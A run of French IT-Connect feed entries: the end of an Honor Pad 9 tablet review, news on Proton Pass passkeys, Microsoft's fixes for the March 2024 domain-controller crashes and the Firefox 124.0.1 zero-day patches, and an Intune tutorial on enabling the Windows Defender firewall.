<figure class="wp-block-image size-large"><img decoding="async" width="800" height="500" data-id="78349" src="media/f089649b.Honor-Pad-9-Photo-2-800x500.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2-800x500.jpg" alt="" class="wp-image-78349" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-2.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="500" data-id="78347" src="media/84b5c235.Honor-Pad-9-Photo-1-800x500.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1-800x500.jpg" alt="" class="wp-image-78347" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1-800x500.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Photo-1.jpg 1200w" sizes="(max-width: 800px) 100vw, 800px" /></figure>
</figure>



<p>L'application caméra intègre <strong>plusieurs modes de prise de vue</strong> (photo, vidéo, portrait, scanner le document, etc.), ainsi que <strong>des filtres IA</strong>, ce qui est tendance ! Voici un également un aperçu des paramètres, tout en sachant que pour les vidéos, la fréquence d'images maximale est de 30 fps et la résolution maximale 4K. Vous pouvez aussi utiliser HONOR Lens pour l'identification des QR codes et des objets.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="500" src="media/7f768f4f.Honor-Pad-9-Options-application-camera.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Options-application-camera.jpg" alt="" class="wp-image-78350" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Options-application-camera.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Options-application-camera-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Options-application-camera-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Options-application-camera-768x480.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Honor-Pad-9-Options-application-camera-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">VI. Conclusion</h2>



<p>Le <strong>grand écran avec un affichage de bonne qualité</strong>, la présence de <strong>8 haut-parleurs</strong>, ainsi que<strong> l'élégance du châssis métal </strong>et la <strong>qualité de fabrication</strong> qui lui donne <strong>une allure de tablette premium</strong>, sont les points fort de cette tablette. Mais il ne faut pas oublier <strong>les performances satisfaisantes </strong>et une<strong> interface fluide </strong>qui est agréable à utiliser, et elle conviendra parfaitement à ceux qui connaissent l'interface MagicOS sur smartphone. Au quotidien, <strong>cette tablette est réellement agréable à utiliser et, j'insiste, mais l'écran de 12 pouces offre un réel confort visuel</strong>, y compris pour afficher plusieurs applications à l'écran.</p>



<p>À l'inverse, l'autonomie m'a déçue et je m'attendais à mieux sur ce point ! La connectique est également un peu légère, j'aurais apprécié l'ajout d'une prise Jack et d'un stylet pour l'écran tactile pour compléter l'ensemble. Enfin, la puissance sera trop juste pour certains jeux donc ce n'est pas une tablette pour gamer exigeant !</p>



<p>Objectivement, cette tablette proposée à 349,90 euros offre un très bon rapport qualité/prix !</p>



<p><img src="media/091d4086.1f381.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f381.png" alt="🎁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Découvrez une offre spéciale à l'occasion du lancement de la tablette :</mark></strong></p>



<p>En utilisant notre lien Amazon et le code promo "<strong>PAD9FROFF</strong>", vous pouvez obtenir 9,90 euros de remise sur la tablette Honor Pad 9 (jusqu'au 24 mars 2023). Si vous êtes membre Amazon Prime, vous pouvez bénéficier d'<strong>une remise supplémentaire permettant d'avoir la tablette à 290 € au lieu de 349,90 €</strong>.</p>



<ul>
<li><a href="https://amzn.to/4a3IbIe" target="_blank" rel="noopener nofollow" title="">Profiter de l'offre</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/test-honor-pad-9-tablette/">Test HONOR Pad 9 : une tablette 12 pouces efficace, mais à l’autonomie limitée</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78342
title: Proton ajoute la prise en charge des Passkeys à son gestionnaire de mots de passe Proton Pass
uri: Proton-ajoute-la-prise-en-charge-des-Passkeys-à-son-gestionnaire-de-m
url: https://www.it-connect.fr/proton-pass-support-passkeys-tous-les-appareils/
content:
<p><strong>En ce moment, l'entreprise suisse Proton enchaine les annonces : le gestionnaire de mots de passe Proton Pass prend désormais en charge les Passkeys sur tous les appareils. Faisons le point sur cette annonce !</strong></p>



<p>La méthode d'authentification basée sur une passkey continue de se démocratiser et d'être adoptée par les différents éditeurs de la tech. Pour rappel, le fait d'utiliser une passkey permet de s'authentifier sans mot de passe puisque cette méthode s'appuie sur des clés générées en local sur l'appareil et l'authentification s'effectue à l'aide d'un code PIN, du capteur d'empreinte biométrique ou de la reconnaissance faciale. De plus en plus de services et sites web supportent l'authentification via une passkey.</p>



<p>Dès maintenant, les utilisateurs de Proton Pass, le gestionnaire de mots de passe de chez Proton développé à partir du langage Rust, peuvent profiter de la<strong> prise en charge des Passkeys sur toutes les plateformes</strong> supportées par ce service, et pour tous les utilisateurs. Autrement dit,<strong> cette fonctionnalité est disponible pour tous les utilisateurs, gratuits et payants.</strong></p>



<p>"<em>C’est une première sur le marché des gestionnaires de mots de passe, établissant une nouvelle norme en matière d'accessibilité et de sécurité.</em>", précise Proton dans son communiqué de presse, afin d'insister sur le fait que cette nouveauté est gratuite.</p>



<p>Proton Pass prend en charge les Passkeys de la même façon que les mots de passe, c'est-à-dire qu'ils peuvent être partagés directement et exportés vers un autre service. "<em>Cette flexibilité fait partie de notre engagement à maintenir la commodité et l’interopérabilité</em>", peut-on lire.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="400" src="media/9204b2a9.Proton-Pass-Passkey.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Proton-Pass-Passkey.jpg" alt="Proton Pass - Passkey" class="wp-image-78354" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Proton-Pass-Passkey.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Proton-Pass-Passkey-550x275.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Proton-Pass-Passkey-150x75.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Proton-Pass-Passkey-768x384.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Proton-Pass-Passkey-50x25.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Cette nouveauté profite également aux utilisateurs de Proton Pass for Business. </strong>Grâce à la nouvelle fonctionnalité de partage et de collaboration via les Passkeys, cette technologie complémente les méthodes d'authentification en place, telles que les mots de passe classiques et les codes 2FA.</p>



<p>Voici les dernières annonces de Proton :</p>



<ul>
<li><a href="https://www.it-connect.fr/proton-mail-lance-son-application-bureau-pour-windows-macos-et-linux-beta/" title="Proton Mail lance son application bureau pour Windows, macOS et Linux (bêta)">Proton Mail lance de son application de bureau pour Windows, macOS et Linux</a></li>



<li><a href="https://www.it-connect.fr/proton-mail-hide-my-email-creation-alias-adresses-e-mails/" target="_blank" rel="noopener" title="Confidentialité en ligne : Proton Mail accueille Hide-my-email pour la création d’alias d’adresses e-mails !">Proton Mail accueille Hide-my-email</a></li>
</ul>



<p>Retrouvez l'<a href="https://proton.me/blog/proton-pass-passkeys" target="_blank" rel="noopener nofollow" title="">annonce officielle</a> sur le blog de Proton.</p><p>The post <a href="https://www.it-connect.fr/proton-pass-support-passkeys-tous-les-appareils/">Proton ajoute la prise en charge des Passkeys à son gestionnaire de mots de passe Proton Pass</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78393
title: Reboot Windows Server avec la mise à jour de mars 2024 : voici les correctifs de Microsoft !
uri: Reboot-Windows-Server-avec-la-mise-à-jour-de-mars-2024-voici-les-co
url:
https://www.it-connect.fr/reboot-windows-server-mise-a-jour-mars-2024-voici-les-correctifs-microsoft/

content:
<p><strong>Depuis plusieurs jours, le sujet affole les administrateurs systèmes : la mise à jour de mars 2024 pour Windows Server fait planter les contrôleurs de domaine à cause d'une fuite mémoire liée au processus LSASS. Microsoft vient à la rescousse de ses utilisateurs grâce à un correctif qui corrige le problème ! Voici ce qu'il faut savoir !</strong></p>



<p><span style="text-decoration: underline;">Rappel</span> : <a href="https://www.it-connect.fr/mise-a-jour-mars-2024-reboot-controleur-domaine-microsoft-avoue/" target="_blank" rel="noopener" title="">les serveurs se figent et redémarrent suite à l'installation de la mise à jour de mars 2024 pour Windows Server</a> (<strong>Windows Server 2022, Windows Server 2019, Windows Server 2016 et Windows Server 2012 R2</strong>). Ce problème a été constaté sur les contrôleurs de domaine Active Directory. Assez rapidement, Microsoft a confirmé l'existence de ce problème étant à l'origine d'une <strong>fuite de mémoire extrême </strong>pouvant faire<strong> planter le processus LSASS</strong>. L'entreprise américaine a également confirmé que les <strong>mises à jour publiées le 12 mars 2024</strong> à l'occasion du Patch Tuesday étaient à l'origine de ce dysfonctionnement.</p>



<p>Le<strong> vendredi 22 mars 2024</strong>, Microsoft a publié de <strong>nouvelles mises à jour en urgence pour venir en aide aux administrateurs systèmes et aux organisations impactées</strong>. En effet, jusqu'ici, la seule "solution" était de ne pas installer la mise à jour cumulative, ou de la désinstaller afin de revenir en arrière.</p>



<h2 class="wp-block-heading">La liste des correctifs de Microsoft</h2>



<p>Voici la liste des correctifs proposés par Microsoft :</p>



<ul>
<li><strong>Windows Server 2022:</strong> <a href="https://support.microsoft.com/en-us/topic/march-22-2024-kb5037422-os-build-20348-2342-out-of-band-e8f5bf56-c7cb-4051-bd5c-cc35963b18f3" target="_blank" rel="noopener nofollow" title="">KB5037422</a></li>



<li><strong>Windows Server 2019</strong> : mise à jour non disponible pour le moment</li>



<li><strong>Windows Server 2016:</strong> <a href="https://support.microsoft.com/en-us/topic/march-22-2024-kb5037423-os-build-14393-6799-out-of-band-1775cda2-4bb6-43a9-9fd4-ddc3528d3408" target="_blank" rel="noopener nofollow" title="">KB5037423</a></li>



<li><strong>Windows Server 2012 R2:</strong> <a href="https://support.microsoft.com/help/5037426" target="_blank" rel="noopener nofollow" title="">KB5037426</a></li>
</ul>



<p>Au sein de l'article de support qui accompagne chaque mise à jour, Microsoft précise : "<em>La fuite de mémoire se produit lorsque les DC Active Directory sur site et dans le Cloud traitent les demandes d'authentification Kerberos. Cette fuite importante peut entraîner une utilisation excessive de la mémoire. De ce fait, LSASS peut cesser de répondre, et les DCs redémarreront lorsque vous ne vous y attendez pas.</em>"</p>



<p>Vous devez <strong>installer cette mise à jour sur les contrôleurs de domaine Active Directory</strong> concernés par le bug lié à la mise à jour de mars 2024. Il n'est pas nécessaire d'installer la mise à jour de mars 2024, puis celle-ci ensuite, puisqu'il s'agit d'une mise à jour cumulative :<strong> installez directement celle-ci, dans tous les cas, et Windows Server installera uniquement ce dont il a besoin.</strong></p>



<h2 class="wp-block-heading">Comment télécharger la mise à jour ?</h2>



<p>Pour télécharger le package d'installation de cette mise à jour hors bande, <strong>rendez-vous sur le <a href="https://www.catalog.update.microsoft.com/Search.aspx?q=2024-03%20Cumulative%20Update" target="_blank" rel="noopener nofollow" title="">Catalogue Microsoft Update</a></strong>. En cliquant sur ce lien, vous devez retrouver toutes les mises à jour, sinon effectuez une recherche directement sur le numéro de KB. Pour vérifier la présence du correctif pour Windows Server 2019, vous pouvez rechercher "<em>Update Windows Server 2019</em>" et regarder la date du correctif le plus récent.</p>



<p>Microsoft que cette mise à jour <strong>n'est pas disponible avec WSUS, ni avec Windows Update</strong>, donc vous devez impérativement utiliser le Catalogue Microsoft Update (ce qui ne vous empêche pas de l'ajouter ensuite à votre WSUS).</p>



<p><em>Merci aux différentes personnes qui m'ont signalé l'existence de ce correctif.</em></p><p>The post <a href="https://www.it-connect.fr/reboot-windows-server-mise-a-jour-mars-2024-voici-les-correctifs-microsoft/">Reboot Windows Server avec la mise à jour de mars 2024 : voici les correctifs de Microsoft !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78398
title: Dans Firefox 124.0.1, Mozilla a corrigé deux failles de sécurité zero-day !
uri: Dans-Firefox-124-0-1-Mozilla-a-corrigé-deux-failles-de-sécurité-ze
url: https://www.it-connect.fr/dans-firefox-124-0-1-mozilla-a-corrige-deux-failles-de-securite-zero-day/
content:
<p><strong>Quelques jours après avoir dévoilé Firefox 124.0, la fondation Mozilla a mis en ligne la version 124.0.1 de Firefox dans le but de patcher deux failles de sécurité zero-day ! Voici ce qu'il faut savoir sur ces vulnérabilités.</strong></p>



<p>Le mardi 19 mars 2024, la fondation Mozilla a publié la version 124.0 de son navigateur Firefox, dans le but de corriger <strong>12 failles de sécurité</strong>, dont <strong>cinq vulnérabilités importantes</strong> et <strong>une vulnérabilité critique</strong>. D'ailleurs, cette faille de sécurité critique, associée à la référence <strong>CVE-2024-2615</strong>, pourrait permettre à un attaquant d'exécuter du code arbitraire sur la machine de l'utilisateur.</p>



<p>Puis, le vendredi 22 mars 2024, Mozilla a mis en ligne une nouvelle version de son navigateur Firefox : <strong>124.0.1</strong>. Cette fois-ci, l'objectif est de <strong>corriger deux failles de sécurité zero-day </strong>découvertes et exploitées un jour plus tôt lors de la <strong>compétition de hacking Pwn2Own Vancouver 2024</strong>. </p>



<p>D'ailleurs,  à l'occasion de cette compétition de hacking,<strong> les participants sont parvenus à découvrir 29 failles de sécurité dans différents produit</strong>s. En ce qui concerne les vulnérabilités dans Firefox, elles ont été découvertes par Manfred Paul (récompensé à auteur de 100 000 dollars) pour avoir exploité une faille de type "<em>out-of-bounds write</em>" (<strong>CVE-2024-29943</strong>) permettant d'<strong>exécuter du code à distance et d'échapper à la sandbox de Mozilla Firefox</strong> en exploitant une faiblesse dans une fonction du navigateur (<strong>CVE-2024-29944</strong>). Manfred Paul est membre de la Trend Micro Zero Day Initiative.</p>



<p>Dans <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2024-15/" target="_blank" rel="noopener nofollow" title="">son bulletin de sécurité</a>, Mozilla a apporté quelques détails supplémentaires sur <strong>ces vulnérabilités qui affectent les versions <em>desktop </em>de son navigateur Firefox</strong>. Pour le moment, elles ne sont pas exploitées par les cybercriminels.</p>



<p>Pour vous protéger, <strong>vous devez passer sur Firefox 124.0.1 ou Firefox ESR 115.9.1</strong>, en fonction de la version que vous utilisez. Enfin, nous pouvons saluer la réactivité des équipes de Mozilla pour la correction de ces deux failles de sécurité, ainsi que Manfred Paul, grand gagnant de cette édition avec 25 points Master of Pwn. Grâce aux vulnérabilités qu'il a découvertes dans <strong>Mozilla Firefox, Apple Safari, Google Chrome et Microsoft Edge</strong>, il a pu empocher <strong>202 500 dollars de gain</strong> en cash.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/mozilla-fixes-two-firefox-zero-day-bugs-exploited-at-pwn2own/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/dans-firefox-124-0-1-mozilla-a-corrige-deux-failles-de-securite-zero-day/">Dans Firefox 124.0.1, Mozilla a corrigé deux failles de sécurité zero-day !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73205
title: Intune – Comment configurer le pare-feu Windows ?
uri: Intune-Comment-configurer-le-pare-feu-Windows
url: https://www.it-connect.fr/intune-comment-configurer-le-pare-feu-windows/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons à configurer et gérer l'état du pare-feu Windows Defender à l'aide d'une stratégie de sécurité Microsoft Intune.</strong> </p>



<p>Cette stratégie sera utile pour<strong> forcer l'activation du pare-feu </strong>sur les appareils Windows 10 et Windows 11 afin de s'assurer que "<em>ce bouclier réseau</em>" soit bien opérationnel. Nous pourrons également utiliser cette stratégie pour <strong>configurer les paramètres généraux du pare-feu</strong>, notamment pour ajuster la taille des fichiers journaux de Windows Defender.</p>



<ul>
<li><a href="https://youtu.be/W_BXMSEPpYU" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/W_BXMSEPpYU" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p><strong>La configuration déployée avec notre stratégie vise à :</strong></p>



<ul>
<li>Activer le pare-feu Windows Defender sur tous les profils (privé, public, domaine)</li>



<li>Autoriser les flux sortants par défaut</li>



<li>Bloquer les flux entrants par défaut</li>



<li>Définir la taille du journal du pare-feu à 16 384 Ko (pour avoir plus de matière en cas de besoin de ce journal pour une analyse)</li>



<li>Configurer les paramètres d'audit</li>
</ul>



<blockquote class="wp-block-quote">
<p>Remarque : la fonctionnalité de pare-feu de Microsoft Intune permet de gérer les règles du pare-feu système de Windows et macOS.</p>
</blockquote>



<p>En complément de cet article, voici deux liens utiles pour la gestion du pare-feu Windows Defender via Intune :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/firewall-csp?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Firewall CSP</a></li>



<li><a href="https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-firewall-policy?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Firewall policy for endpoint security in Intune</a></li>
</ul>



<p>Ainsi que ces tutoriels :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-debuter-avec-microsoft-intune/" target="_blank" rel="noopener" title="Comment débuter avec Microsoft Intune ?">Comment débuter avec Intune ?</a></li>



<li><a href="https://www.it-connect.fr/intune-comment-creer-regle-pare-feu-windows-defender/" target="_blank" rel="noopener" title="">Comment créer une règle de pare-feu Windows Defender avec Intune ?</a></li>
</ul>



<h2 class="wp-block-heading">II. Créer la stratégie de pare-feu</h2>



<p>Avant de commencer, sachez que pour configurer le pare-feu Windows Defender via Intune, il y a deux types de stratégies : les stratégies pour configurer les paramètres globaux du pare-feu (<em>ce que nous allons voir aujourd'hui</em>) et les stratégies pour gérer les règles de pare-feu (<em>ce que nous verrons dans un prochain article</em>).</p>



<p>Tout d'abord, connectez-vous au portail d'administration Microsoft Intune. Si besoin, voici le lien direct :</p>



<ul>
<li><a href="https://intune.microsoft.com" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



<p>Quand vous y êtes : </p>



<p><strong>1</strong> - Cliquez sur "<strong>Sécurité du point de terminaison</strong>" à gauche</p>



<p><strong>2</strong> - Cliquez sur "<strong>Pare-feu</strong>" dans le menu de la section sécurité</p>



<p><strong>3</strong> - Cliquez sur le bouton "<strong>Créer une stratégie</strong>"</p>



<p><strong>4</strong> - Choisissez la plateforme "<strong>Windows 10, Windows 11 et Windows Server</strong>" pour la gestion directe via Intune</p>



<p><strong>5</strong> - Sélectionnez le profil "<strong>Pare-feu Microsoft Defender</strong>" car celui nommé "<strong>Règles de pare-feu Microsoft Defender</strong>" est utile pour la gestion des règles, comme son nom l'indique. Cliquez sur "<strong>Créer</strong>".</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/99a2be30.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01.png"><img fetchpriority="high" decoding="async" width="1277" height="555" data-id="73213" src="media/99a2be30.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 01" class="wp-image-73213" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01.png 1277w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01-550x239.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01-800x348.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01-150x65.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01-768x334.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-01-50x22.png 50w" sizes="(max-width: 1277px) 100vw, 1277px" /></a></figure>
</figure>



<p>Commencez par nommer cette stratégie et éventuellement indiquer une description. Dans cet exemple, la stratégie s'appelle "<strong>Activer le pare-feu Windows</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="360" src="media/31dbd913.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 02" class="wp-image-73212" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02-550x248.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02-150x68.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02-768x346.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-02-50x23.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, passez à la section "<strong>Paramètres de configuration</strong>". Celle-ci se découpe en trois parties :</p>



<ul>
<li>Pare-feu</li>



<li>Gestionnaire de listes réseau</li>



<li>Audit </li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="254" src="media/03ac8101.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 03" class="wp-image-73211" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03-550x175.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03-768x244.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-03-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Cliquez sur "<strong>Pare-feu</strong>". Un ensemble de paramètres va s'afficher. Concrètement, il faut prendre le temps de les vérifier et interpréter un par un... Pour activer le pare-feu sur les <strong>trois profils de Windows Defender</strong>, il y a<strong> trois paramètres à activer</strong>, ainsi qu'à chaque fois <strong>deux sous-paramètres pour gérer les flux entrants et sortants</strong>.</p>



<p>Par exemple, pour le profil de domaine, ce sont les paramètres suivants :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="906" src="media/aed3c496.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 04" class="wp-image-73210" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04-550x623.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04-132x150.png 132w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04-768x870.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-04-44x50.png 44w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>A cela s'ajoute la configuration du paramètre "<strong>Taille de fichier maximale du journal</strong>" à positionner sur "<strong>16 384 Ko</strong>". Cette valeur n'est pas choisie au hasard, c'est celle qui est recommandée dans un guide CIS Benchmark.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="234" src="media/e8d1fabe.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 05" class="wp-image-73209" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05-550x161.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05-150x44.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05-768x225.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-05-50x15.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Puis, si vous souhaitez <strong>générer des journaux d'audit</strong> lorsqu'il y a une connexion acceptée ou rejetée, configurez ces deux paramètres :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="443" src="media/f966fcd2.Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06.png" alt="Microsoft Intune - Stratégie sécurité - Pare-feu Windows - 06" class="wp-image-73208" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06-550x305.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06-150x83.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06-768x425.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Microsoft-Intune-Strategie-securite-Pare-feu-Windows-06-50x28.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Configurez l'étape "<strong>Balises d'étendue</strong>" si nécessaire, sinon passez directement à l'étape "<strong>Affectations</strong>". C'est ici que vous devez définir à quel(s) groupe(s) vous souhaitez appliquer cette stratégie. Pour ma part, ce sera le groupe statique "<em>PC_Corporate</em>".</p>



